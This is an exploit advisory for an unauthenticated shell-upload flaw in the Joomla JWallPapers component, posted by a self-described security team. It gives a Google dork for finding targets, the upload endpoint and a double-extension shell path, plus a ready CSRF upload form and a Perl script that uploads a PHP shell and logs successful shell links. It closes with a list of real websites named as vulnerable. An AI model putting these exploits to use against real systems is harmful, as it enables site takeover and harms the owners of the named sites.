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# Exploit Title : Joomla JWallPapers Components 2.0.1 CSRF Backdoor Access Vulnerability
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 18/02/2019
# Vendor Homepage : joomla4ever.org
# Software Download Link : joomla4ever.org/archive/ext/com_jwallpapers.zip
# Software Information Link : joomla4ever.org/extensions/ext-jwallpapers
# Software Affected Version : 1.1 - 1.3 - 1.4 - 1.6 and 2.0.1 ~ and all previous versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_jwallpapers''
# Vulnerability Type : CWE-434 [ Unrestricted Upload of File with Dangerous Type ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
CWE-352 [ Cross-Site Request Forgery ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Description about Software :
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JWallpapers - powerful and customizable gallery component for Joomla!
With component, you can create a pretty good service at the show, loading or
downloading of different graphic materials (wallpaper, screensaver for mob.
Phones, photos, etc.) is present in component integration
in Community Builder, support SEF components.
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# Impact :
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This Software Joomla JWallPapers indicates an attack attempt to perform an
Arbitrary File Upload vulnerability in Joomla Jwallpapers Plugin/Component.
The vulnerability is due to a design flaw in the vulnerable application
when handling a file upload request without authentication.
A remote attacker may be able to exploit this to execute arbitrary code within
the context of the application, by uploading an arbitrary file without any authentication.
System Compromise: Remote attackers can gain control of vulnerable systems.
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# Arbitrary File Upload/Shell Upload Exploit :
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/index.php?option=com_jwallpapers&task=upload
# Vulnerability Error :
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{"jsonrpc" : "2.0", "result" : null, "id" : "id"}
# Directory File Path :
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/jwallpapers_files/plupload/[SHELLNAME.php;.gif]
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# CSRF Cross Site Request Forgery Exploiter :
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<html>
<body>
<form method="post" action="http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="hidden" name="name" value="shell_name.php" />
<input type="submit" value="submit"/>
</form>
</body>
</html>
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# Another Perl Exploiter Code :
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#!/usr/bin/perl
sub comjwallpapers(){
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801");
$ua->timeout (30);
$url ="$http://VULNERABLESITE/index.php?option=com_jwallpapers&task=upload";
$comjwallpapersup= "$site/jwallpapers_files/plupload/kingskrupellos.php?X=Attacker";
my $shell ="kingskrupellos.php";
my $response = $ua->post( $url, Content_Type => "multipart/form-data", Content => [ file=>["$shell"] , submit=>"Upload" ]);
$check = $ua->get($comjwallpapersup)->content;
if ($check =~ /Cyberizm Digital Security Army/){
print item(),"Com Jwallpapers";
print color('bold white')," ................... ";
print color('bold green'),"VULN\n";
print item(),"Shell Uploaded Successfully\n";
print color('bold white')," [Link] => $comjwallpapersup\n";
open (TEXT, '>>Result/shells.txt');
print TEXT "$comjwallpapersup\n";
close (TEXT);
}else{
print item(),"Com Jwallpapers";
print color('bold white')," ................... ";
print color('bold red'),"NOT VULN\n";
}
}
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# Example Vulnerable Sites :
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[+] robinevandooren.nl/index.php?option=com_jwallpapers&task=upload
[+] safehousehabitats.com/intranet/index.php?option=com_jwallpapers&task=upload
[+] mustangis.com/index.php?option=com_jwallpapers&task=upload
[+] 1aphotoclub.com/index.php?option=com_jwallpapers&task=upload
[+] zuohe.net/index.php?option=com_jwallpapers&task=upload
[+] kulturgemeinde.at/index.php?option=com_jwallpapers&task=upload
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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